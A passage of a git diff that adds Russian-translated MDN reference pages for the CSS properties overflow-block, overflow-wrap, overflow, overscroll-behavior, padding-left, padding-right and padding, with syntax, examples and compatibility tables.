+  &lt;li&gt;&lt;code&gt;overflow-block:auto&lt;/code&gt; — в большинстве браузеров, что эквивалентно &lt;code&gt;scroll&lt;/code&gt;
+  &lt;div id="div4"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+    &lt;/div&gt;
+  &lt;/li&gt;
+&lt;/ul&gt;
+
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#div1,
+#div2,
+#div3,
+#div4 {
+  border: 1px solid black;
+  width:  250px;
+  height: 100px;
+}
+
+#div1 { overflow-block: hidden; margin-bottom: 12px;}
+#div2 { overflow-block: scroll; margin-bottom: 12px;}
+#div3 { overflow-block: visible; margin-bottom: 120px;}
+#div4 { overflow-block: auto; margin-bottom: 120px;}
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<figure>
+<p>{{EmbedLiveSample("Examples", "100%", "780")}}</p>
+</figure>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Overflow', '#propdef-overflow-block', 'overflow-block') }}</td>
+   <td>{{ Spec2('CSS3 Overflow') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение (pull request).</div>
+
+<p>{{Compat("css.properties.overflow-block")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Связанные свойства CSS: {{cssxref("text-overflow")}}, {{cssxref("white-space")}}, {{Cssxref("overflow")}}, {{Cssxref("overflow-inline")}}, {{Cssxref("overflow-x")}}, {{Cssxref("overflow-y")}}, {{Cssxref("clip")}}, {{Cssxref("display")}}</li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Logical_Properties">Логические свойства CSS</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Writing_Modes">Режимы письма</a></li>
+</ul>
diff --git a/files/ru/web/css/overflow-wrap/index.html b/files/ru/web/css/overflow-wrap/index.html
new file mode 100644
index 0000000000..7250663fe6
--- /dev/null
+++ b/files/ru/web/css/overflow-wrap/index.html
@@ -0,0 +1,147 @@
+---
+title: overflow-wrap
+slug: Web/CSS/overflow-wrap
+translation_of: Web/CSS/overflow-wrap
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a> свойство <code><strong>overflow-wrap</strong></code> применяется к строковым элементам, устанавливая должен ли браузер расставлять переносы строк внутри неразрывной строки, чтобы избежать выхода текста за границы элемента.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/overflow-wrap.html")}}</div>
+
+<p class="hidden">Исходники для интерактивных примеров хранятся в GitHub репозитории. Если вы хотите законтребьюить в проект с примерами, пожалуйста, склонируйте  <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и пришлите нам пул реквест.</p>
+
+<div class="note">
+<p><strong>Note:</strong> В отличие от {{cssxref("word-break")}}, <code>overflow-wrap</code> создает перенос только, если целое слово не может быть размещено на своей линии без переполнения</p>
+</div>
+
+<p>Изначально свойство <code>word-wrap</code> не было стандартом, хотя и было реализовано большинством браузеров. Впоследствии оно было переименовано в <code>overflow-wrap</code> c алиасом <code>word-wrap</code>.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush:css notranslate">/* Keyword values */
+overflow-wrap: normal;
+overflow-wrap: break-word;
+overflow-wrap: anywhere;
+
+/* Global values */
+overflow-wrap: inherit;
+overflow-wrap: initial;
+overflow-wrap: unset;
+</pre>
+
+<p>Свойство <code>overflow-wrap</code> задается с помощью ключевого слова и выбирается из списка значений приведенных ниже:</p>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Разрыв строк происходит согласно обычным правилам разрыва (такими как пробел между двумя словами).</dd>
+ <dt><code>anywhere</code></dt>
+ <dd>Чтобы избежать <span style="">выхода текста за границы элемента, таких как длинных слов или URL, неразрывная строка символов может быть разбита </span>в любой точке, если в строке нет других допустимых точек разрыва. Тире не вставляется. Возможность мягкого переноса, представленная разрывом слов, рассматривается, когда вычисляется минимальный контент внутренних размеров.</dd>
+ <dt><code>break-word</code></dt>
+ <dd>Так же как и со значением <code>anywhere</code>, слова, которые обычно нельзя перенести по слогам, могут быть разбиты в произвольных точках, если нет других допустимых разрывов в строке, но возможность мягкого переноса, представленная разрывом слов не рассматривается, когда вычисляется минимальный контент внутренних размеров.</dd>
+</dl>
+
+<h2 id="Formal_definition">Formal definition</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Formal_syntax">Formal syntax</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Сравнение_overflow-wrap_word-break_и_hyphens">Сравнение overflow-wrap, word-break, и hyphens</h3>
+
+<p>Этот пример сравнивает результаты применения <code>overflow-wrap</code>, <code>word-break</code>, и <code>hyphens</code>, когда разбивается длинное слово.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;They say the fishing is excellent at
+  Lake &lt;em class="normal"&gt;Chargoggagoggmanchauggagoggchaubunagungamaugg&lt;/em&gt;,
+  though I've never been there myself. (&lt;code&gt;normal&lt;/code&gt;)&lt;/p&gt;
+&lt;p&gt;They say the fishing is excellent at
+  Lake &lt;em class="ow-anywhere"&gt;Chargoggagoggmanchauggagoggchaubunagungamaugg&lt;/em&gt;,
+  though I've never been there myself. (&lt;code&gt;overflow-wrap: anywhere&lt;/code&gt;)&lt;/p&gt;
+&lt;p&gt;They say the fishing is excellent at
+  Lake &lt;em class="ow-break-word"&gt;Chargoggagoggmanchauggagoggchaubunagungamaugg&lt;/em&gt;,
+  though I've never been there myself. (&lt;code&gt;overflow-wrap: break-word&lt;/code&gt;)&lt;/p&gt;
+&lt;p&gt;They say the fishing is excellent at
+  Lake &lt;em class="word-break"&gt;Chargoggagoggmanchauggagoggchaubunagungamaugg&lt;/em&gt;,
+  though I've never been there myself. (&lt;code&gt;word-break&lt;/code&gt;)&lt;/p&gt;
+&lt;p&gt;They say the fishing is excellent at
+  Lake &lt;em class="hyphens"&gt;Chargoggagoggmanchauggagoggchaubunagungamaugg&lt;/em&gt;,
+  though I've never been there myself. (&lt;code&gt;hyphens&lt;/code&gt;, without &lt;code&gt;lang&lt;/code&gt; attribute)&lt;/p&gt;
+&lt;p lang="en"&gt;They say the fishing is excellent at
+  Lake &lt;em class="hyphens"&gt;Chargoggagoggmanchauggagoggchaubunagungamaugg&lt;/em&gt;,
+  though I've never been there myself. (&lt;code&gt;hyphens&lt;/code&gt;, English rules)&lt;/p&gt;
+&lt;p class="hyphens" lang="de"&gt;They say the fishing is excellent at
+  Lake &lt;em class="hyphens"&gt;Chargoggagoggmanchauggagoggchaubunagungamaugg&lt;/em&gt;,
+  though I've never been there myself. (&lt;code&gt;hyphens&lt;/code&gt;, German rules)&lt;/p&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">p {
+   width: 13em;
+   margin: 2px;
+   background: gold;
+}
+
+.ow-anywhere {
+   overflow-wrap: anywhere;
+}
+
+.ow-break-word {
+   overflow-wrap: break-word;
+}
+
+.word-break {
+   word-break: break-all;
+}
+
+.hyphens {
+   hyphens: auto;
+}
+</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{ EmbedLiveSample('Comparing_overflow-wrap_word-break_and_hyphens', '100%', 260) }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Text', '#propdef-overflow-wrap', 'overflow-wrap') }}</td>
+   <td>{{ Spec2('CSS3 Text') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.overflow-wrap")}}</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{cssxref("word-break")}}</li>
+ <li>{{cssxref("hyphens")}}</li>
+ <li>{{cssxref("text-overflow")}}</li>
+</ul>
diff --git a/files/ru/web/css/overflow/index.html b/files/ru/web/css/overflow/index.html
new file mode 100644
index 0000000000..e8977b7592
--- /dev/null
+++ b/files/ru/web/css/overflow/index.html
@@ -0,0 +1,134 @@
+---
+title: overflow
+slug: Web/CSS/overflow
+translation_of: Web/CSS/overflow
+---
+<div>{{ CSSRef() }}</div>
+
+<h2 id="Summary" name="Summary">Резюме</h2>
+
+<p>Свойство CSS <code>overflow</code> определяет, необходимо ли для переполненного блочного элемента содержимое обрезать, предоставить полосы прокрутки или просто отобразить.</p>
+
+<p>Использование свойства <code>overflow</code> со значениями, отличными от <code>visible</code>, (значение, принятое по умолчанию), создаёт новый <a href="/en-US/docs/CSS/block_formatting_context" title="CSS/block_formatting_context">блочный контекст форматирования</a>. Это технически необходимо, поскольку если бы float пересекался с элементом прокрутки, это потребовало бы обеспечить обтекание содержимого прокручиваемого элемента вокруг вторгающихся float'ов. Обтекание при этом было бы необходимо производить после каждого шага прокрутки заново, что привело бы к заметному замедлению прокрутки. Обратите внимание, что при программной установке атрибута <code>scrollTop</code> для соответствующего HTML-элемента, даже если <code>overflow</code> имеет значение <code>hidden</code>, элемент, возможно, придется прокрутить.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="twopartsyntaxbox"><a href="/en-US/docs/CSS/Value_definition_syntax" title="CSS/Value_definition_syntax">Формат синтаксиса</a>: {{csssyntax("overflow")}}</pre>
+
+<pre>overflow: visible
+overflow: hidden
+overflow: scroll
+overflow: auto
+
+overflow: inherit
+</pre>
+
+<h3 id="Values" name="Values">Значения</h3>
+
+<dl>
+ <dt><code>visible</code></dt>
+ <dd>По умолчанию. Содержимое не обрезается, может отображаться снаружи блока, в котором оно расположено.</dd>
+ <dt><code>hidden</code></dt>
+ <dd>Контет обрезается, без предоставления прокрутки.</dd>
+ <dt><code>scroll</code></dt>
+ <dd>Содержимое обрезается и браузер использует элементы прокрутки, не важно было ли обрезано содержимое или нет. Это избегает многих проблем касательно появления прокруток и их исчезновения в динамичной среде. Принтеры могу печатать переполненное содержимое.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Зависит от агента пользователя. Браузеры такие как Firefox предоставляют прокрутку, если содержимое переполняет блок.</dd>
+</dl>
+
+<h4 id="Mozilla_Extensions" name="Mozilla_Extensions">Расширения Mozilla</h4>
+
+<dl>
+ <dt><code>-moz-scrollbars-none </code>{{ obsolete_inline() }}</dt>
+ <dd>Используйте <code>overflow:hidden</code>.</dd>
+ <dt><code>-moz-scrollbars-horizontal </code>{{ Deprecated_inline() }}</dt>
+ <dd>Использование {{ Cssxref("overflow-x") }} и {{ Cssxref("overflow-y") }} предпочтительнее.</dd>
+ <dt><code>-moz-scrollbars-vertical </code>{{ Deprecated_inline() }}</dt>
+ <dd>Использование {{ Cssxref("overflow-x") }} и {{ Cssxref("overflow-y") }} предпочтительнее.</dd>
+ <dt>-moz-hidden-unscrollable {{ non-standard_inline() }}</dt>
+ <dd>Главным образом предназначен для внутреннего использования и для тем. Отключает прокрутку XML root элементов и <code>&lt;html&gt;</code>, <code> &lt;body&gt;</code> клавишами со стрелками и колесом мыши.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: css">p {
+     width: 12em;
+     height: 6em;
+     border: dotted;
+     overflow: visible; /* содержимое не обрезается */
+}
+</pre>
+
+<p style="overflow: visible; display: inline-block; width: 12em; height: 6em; border: dotted;"><code>visible</code> (default)<br>
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.</p>
+
+<pre>p { overflow: hidden; /* полосы прокрутки не предоставляются */ }
+</pre>
+
+<p style="overflow: hidden; display: inline-block; width: 12em; height: 6em; border: dotted;"><code>overflow: hidden</code><br>
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.</p>
+
+<pre>p { overflow: scroll; /* всегда показывать полосы прокрутки */ }
+</pre>
+
+<p style="overflow: scroll; display: inline-block; width: 12em; height: 6em; border: dotted;"><code>overflow: scroll</code><br>
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.</p>
+
+<pre>p { overflow: auto; /* добавить полосы прокрутки, если это необходимо */ }
+</pre>
+
+<p style="overflow: auto; display: inline-block; width: 12em; height: 6em; border: dotted;"><code>overflow: auto</code><br>
+ Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<p> </p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Overflow', '#propdef-overflow', 'overflow')}}</td>
+   <td>{{Spec2('CSS3 Overflow')}}</td>
+   <td>
+    <p>Changed syntax to allow one or two keywords instead of only one</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#propdef-overflow', 'overflow')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visufx.html#overflow', 'overflow')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость браузера</h2>
+
+<p>{{Compat("css.properties.overflow")}} </p>
+
+<h3 id="Firefox_(Gecko)_Notes" name="Firefox_(Gecko)_Notes">Firefox (Gecko) Примечания</h3>
+
+<p>Из-за Firefox 3.6 (Gecko 1.9.2), <code>свойство overflow неверно применяется к элементам</code> table-group (<code>&lt;thead&gt;</code> , <code>&lt;tbody&gt;</code> , <code>&lt;tfoot&gt;</code>). Это поведение будет исправлено в следующих версиях.</p>
+
+<h3 id="Internet_Explorer_Notes" name="Internet_Explorer_Notes">Internet Explorer Примечания</h3>
+
+<p>Internet Explorer 4 - 6 <code>увеличивает элемент с overflow:visible </code>(значение по умолчанию), чтобы заполнить содержимое в нём.<code> height/width </code>действуют подобно<code> min-height/min-width</code>.</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Связанные свойства CSS: {{cssxref("text-overflow")}}, {{cssxref("white-space")}}, {{Cssxref("overflow-x")}}, {{Cssxref("overflow-y")}}, {{Cssxref("overflow-inline")}}, {{Cssxref("overflow-block")}}, {{Cssxref("clip")}}, {{Cssxref("display")}}</li>
+</ul>
diff --git a/files/ru/web/css/overscroll-behavior/index.html b/files/ru/web/css/overscroll-behavior/index.html
new file mode 100644
index 0000000000..c182cd7ee0
--- /dev/null
+++ b/files/ru/web/css/overscroll-behavior/index.html
@@ -0,0 +1,107 @@
+---
+title: overscroll-behavior
+slug: Web/CSS/overscroll-behavior
+tags:
+  - CSS
+translation_of: Web/CSS/overscroll-behavior
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">The <strong><code>overscroll-behavior</code></strong> CSS property is shorthand for the {{cssxref("overscroll-behavior-x")}} and {{cssxref("overscroll-behavior-y")}} properties, which allow you to control the browser's scroll overflow behavior — what happens when the boundary of a scrolling area is reached.</span></p>
+
+<pre class="brush:css no-line-numbers">/* Значения-ключевые слова */
+overscroll-behavior: auto; /* по умолчанию */
+overscroll-behavior: contain;
+overscroll-behavior: none;
+
+/* Двойное значение */
+overscroll-behavior: auto contain;
+
+/* Глобальные значения */
+overflow: inherit;
+overflow: initial;
+overflow: unset;
+</pre>
+
+<p>По умолчанию, мобильные браузеры как правило обеспечивают эффект "отскока" или даже обновляют страницу при достижение ее верхней или нижней части (или другой области прокрутки). You may also have noticed that when you have a dialog box with scrolling content on top of a page of scrolling content, once the dialog box's scroll boundary is reached, the underlying page will then start to scroll — this is called <strong>scroll chaining</strong>.</p>
+
+<p>In some cases these behaviors are not desirable. you can use <code>overscroll-behavior</code> to get rid of unwanted scroll chaining and the browser's Facebook/Twitter app-inspired "pull to refresh"-type behavior.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>The <code>overscroll-behavior</code> property is specified as one or two keywords chosen from the list of values below.</p>
+
+<p>Two keywords specifies the <code>overscroll-behavior</code> value on the <code>x</code> and <code>y</code> axes respectively. If only one value is specified, both x and y are assumed to have the same value.</p>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>The default scroll overflow behavior occurs as normal.</dd>
+ <dt><code>contain</code></dt>
+ <dd>Default scroll overflow behavior is observed inside the element this value is set on (e.g. "bounce" effects or refreshes), but no scroll chaining occurs to neighbouring scrolling areas, e.g. underlying elements will not scroll.</dd>
+ <dt><code>none</code></dt>
+ <dd>No scroll chaining occurs to neighbouring scrolling areas, and default scroll overflow behavior is prevented.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<p>In our <a href="https://mdn.github.io/css-examples/overscroll-behavior/">overscroll-behavior example</a> (see the <a href="https://github.com/mdn/css-examples/tree/master/overscroll-behavior">source code</a> also), we present a full-page list of fake contacts, and a dialog box containing a chat window. </p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15778/example.png" style="border-style: solid; border-width: 1px; display: block; height: 622px; margin: 0px auto; width: 350px;"></p>
+
+<p>Both of these areas scroll; normally if you scrolled the chat window until you hit a scroll boundary, the underlying contacts window would start to scroll too, which is not desirable. This can be stopped using <code>overscroll-behavior-y</code> (<code>overscroll-behavior</code> would also work) on the chat window, like this:</p>
+
+<pre class="brush: css">.messages {
+  height: 220px;
+  overflow: auto;
+  overscroll-behavior-y: contain;
+} </pre>
+
+<p>We also wanted to get rid of the standard overscroll effects when the contacts are scrolled to the top or bottom (e.g. Chrome on Android refreshes the page when you scroll past the top boundary). This can be prevented by setting <code>overscroll-behavior: none</code> on the {{htmlelement("body")}} element:</p>
+
+<pre class="brush: css">body {
+  margin: 0;
+  overscroll-behavior: none;
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<p>Until the CSSWG publishes their own draft, the specification can only be found in its <a href="https://wicg.github.io/overscroll-behavior/">WICG Github Repository</a>.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Overscroll Behavior', '#propdef-overscroll-behavior', 'overscroll-behavior')}}</td>
+   <td>{{Spec2('Overscroll Behavior')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.overscroll-behavior")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developers.google.com/web/updates/2017/11/overscroll-behavior#demo">Take control of your scroll: customizing pull-to-refresh and overflow effects</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/css/padding-left/index.html b/files/ru/web/css/padding-left/index.html
new file mode 100644
index 0000000000..0e4c4a28ed
--- /dev/null
+++ b/files/ru/web/css/padding-left/index.html
@@ -0,0 +1,100 @@
+---
+title: padding-left
+slug: Web/CSS/padding-left
+tags:
+  - CSS
+  - CSS свойство
+translation_of: Web/CSS/padding-left
+---
+<div><font><font>{{CSSRef}}</font></font></div>
+
+<p>Свойство <a href="https://developer.mozilla.org/ru/docs/Web/CSS">CSS</a> <strong><code>padding-left</code></strong> определяет ширину левого внутреннего отступа элемента.</p>
+
+<p>{{EmbedInteractiveExample("pages/css/padding-left.html")}}</p>
+
+<p>Внутренний отступ элемента (англ. "padding") - это пространство между его содержимым и его границей.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Свойство {{cssxref ("padding")}} можно использовать для установки внутренних отступов на всех четырех сторонах элемента одним значением.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax"><font><font>Синтаксис</font></font></h2>
+
+<pre class="brush:css"><font><font>/ * </font></font><code><font><font>&lt;length&gt;</font></font></code><font><font> значения * /
+padding-left: 0.5em;</font></font><font><font>
+padding-left: 0;</font></font><font><font>
+padding-left: 2cm;</font></font>
+<font><font>
+/ * </font></font><code><font><font>&lt;percentage&gt;</font></font></code><font><font> значение * /
+padding-left: 10%;</font></font>
+<font><font>
+/ * Глобальные значения * /
+padding-left: inherit;</font></font><font><font>
+padding-left: initial;</font></font><font><font>
+padding-left: unset;</font></font>
+</pre>
+
+<h3 id="Values" name="Values"><font><font>Значения</font></font></h3>
+
+<p> </p>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Фиксированный размер заполнения отступа. Не может быть отрицательным.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Размер заполнения зависит от ширины блока. Не может быть отрицательным.</dd>
+</dl>
+
+<p> </p>
+
+<h3 id="Формальный_синтаксис"><font><font>Формальный синтаксис</font></font></h3>
+
+<pre class="syntaxbox"><font><font>{{csssyntax}}</font></font></pre>
+
+<h2 id="Examples" name="Examples"><font><font>Примеры</font></font></h2>
+
+<pre class="brush: css"><font><font>.content {padding-left: 5%; </font><font>}</font></font><font><font>
+.sidebox {padding-left: 10px; </font><font>}</font></font>
+</pre>
+
+<h2 id="Определения">Определения</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Box', '#the-padding', 'padding-left') }}</td>
+   <td>{{ Spec2('CSS3 Box') }}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding-left') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Переопределяет <code>padding-left</code> как анимируемое свойство.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'box.html#padding-properties', 'padding-left') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{ Specname('CSS1', '#padding-left', 'padding-left') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility"><font><font>Совместимость</font></font></h2>
+
+<p>{{Compat("css.properties.padding-left")}}</p>
+
+<div id="compat-mobile"> </div>
diff --git a/files/ru/web/css/padding-right/index.html b/files/ru/web/css/padding-right/index.html
new file mode 100644
index 0000000000..378a6ab6e2
--- /dev/null
+++ b/files/ru/web/css/padding-right/index.html
@@ -0,0 +1,134 @@
+---
+title: padding-right
+slug: Web/CSS/padding-right
+tags:
+  - CSS
+  - CSS свойство
+translation_of: Web/CSS/padding-right
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Summary" name="Summary">Summary</h2>
+
+<p><a href="https://developer.mozilla.org/en/CSS" title="CSS">CSS</a> свойство <strong><code>padding-right</code></strong> элемента устанавливает значение поля от правого края элемента. Поля элемента (<a href="https://developer.mozilla.org/en/CSS/box_model#padding" title="http://developer.mozilla.org/en/CSS/Box_model#padding">padding area</a>) это область, расположенная между контентом и границей элемента. Отрицательное значение не валидно.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="brush:css">/* &lt;length&gt; значения */
+padding-right: 0.5em;
+padding-right: 0;
+padding-right: 2cm;
+
+/* &lt;percentage&gt; значения */
+padding-right: 10%;
+
+/* Общие значения */
+padding-right: inherit;
+padding-right: initial;
+padding-right: unset;
+</pre>
+
+<h3 id="Values" name="Values">Values</h3>
+
+<dl>
+ <dt>&lt;length&gt;</dt>
+ <dd>Устанавливает положительную фиксированную ширину. Подробнее: {{cssxref("&lt;length&gt;")}}.</dd>
+ <dt>&lt;percentage&gt;</dt>
+ <dd>Процент по отношению к ширине контейнера.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">Examples</h2>
+
+<pre class="brush: css">.content { padding-right: 5%; }
+.sidebox { padding-right: 10px; }
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Box', '#the-padding', 'padding-right') }}</td>
+   <td>{{ Spec2('CSS3 Box') }}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#animatable-css', 'padding-right') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Определяет <code>padding-right</code>, как анимируемое свойство.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'box.html#padding-properties', 'padding-right') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{ Specname('CSS1', '#padding-right', 'padding-right') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Исходное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>1.0 (1.0)</td>
+   <td>4.0</td>
+   <td>3.5</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/padding/index.html b/files/ru/web/css/padding/index.html
new file mode 100644
index 0000000000..15789588c1
--- /dev/null
+++ b/files/ru/web/css/padding/index.html
@@ -0,0 +1,149 @@
+---
+title: padding
+slug: Web/CSS/padding
+tags:
+  - CSS
+  - CSS Padding
+  - CSS свойство
+translation_of: Web/CSS/padding
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Обзор">Обзор</h2>
+
+<p class="summary">Свойство <strong><code>padding</code></strong> устанавливает внутренние отступы/поля со всех сторон элемента. <a href="/en/CSS/box_model#padding">Область отступов</a> это пространство между содержанием элемента и его границей. Отрицательные значения не допускаются.</p>
+
+<p class="summary">Cвойство <code>padding</code> краткая форма записи свойств, чтобы не писать отдельное правило для каждой стороны (<code>padding-top</code>, <code>padding-right</code>, <code>padding-bottom</code>, <code>padding-left</code>).</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css">/* Применяется для всех 4 сторон */
+padding: 1em;
+
+/* По вертикали | По горизонтали */
+padding: 5% 10%;
+
+/* Сверху | По горизонтали | Снизу */
+padding: 1em 2em 2em;
+
+/* Сверху | Справа | Снизу | Слева */
+padding: 2px 1em 0 1em;
+
+/* Глобальные значения */
+padding: inherit;
+padding: initial;
+padding: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<p>Укажите одно, два, три или четыре следующих значения:</p>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Устанавливает неотрицательный, фиксированый размер. Подробнее в разделе {{cssxref("&lt;length&gt;")}}.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Относительно ширины родительского блока.</dd>
+</dl>
+
+<ul>
